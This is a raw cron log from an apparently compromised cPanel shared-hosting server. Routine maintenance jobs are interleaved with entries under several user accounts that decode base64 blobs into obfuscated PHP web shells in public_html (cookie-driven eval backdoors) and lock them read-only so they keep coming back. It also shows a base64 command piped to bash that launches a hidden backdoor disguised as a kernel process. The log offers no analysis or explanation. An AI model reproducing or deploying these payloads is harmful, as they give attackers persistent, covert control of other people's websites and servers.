Jun  7 09:00:02 medusa CROND[22398]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:00:02 medusa CROND[22396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:00:02 medusa CROND[22391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22390]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 09:00:02 medusa CROND[22379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22408]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:00:02 medusa CROND[22388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:00:02 medusa CROND[22411]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22415]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22434]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22443]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 09:00:02 medusa CROND[22448]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 09:00:02 medusa CROND[22452]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:00:02 medusa CROND[22454]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 09:00:02 medusa CROND[22414]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:00:02 medusa CROND[22439]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 09:00:02 medusa CROND[22481]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 09:01:01 medusa CROND[24440]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:01:01 medusa CROND[24477]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:01:01 medusa CROND[24476]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:01:01 medusa CROND[24481]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:01:01 medusa CROND[24478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:01:01 medusa CROND[24483]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:01:01 medusa CROND[24484]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 09:01:01 medusa CROND[24485]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:01:01 medusa CROND[24487]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:01:01 medusa CROND[24486]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:01:01 medusa CROND[24489]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:01:01 medusa CROND[24479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:01:01 medusa CROND[24480]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:01:01 medusa CROND[24495]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:01:01 medusa run-parts(/etc/cron.hourly)[24484]: starting 0anacron
Jun  7 09:01:02 medusa run-parts(/etc/cron.hourly)[24557]: finished 0anacron
Jun  7 09:02:01 medusa CROND[26175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:02:01 medusa CROND[26183]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:02:02 medusa CROND[26189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:02:02 medusa CROND[26190]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:02:02 medusa CROND[26188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:02:02 medusa CROND[26191]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:02:02 medusa CROND[26192]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:02:02 medusa CROND[26193]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:02:02 medusa CROND[26195]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:02:02 medusa CROND[26197]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:02:02 medusa CROND[26198]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
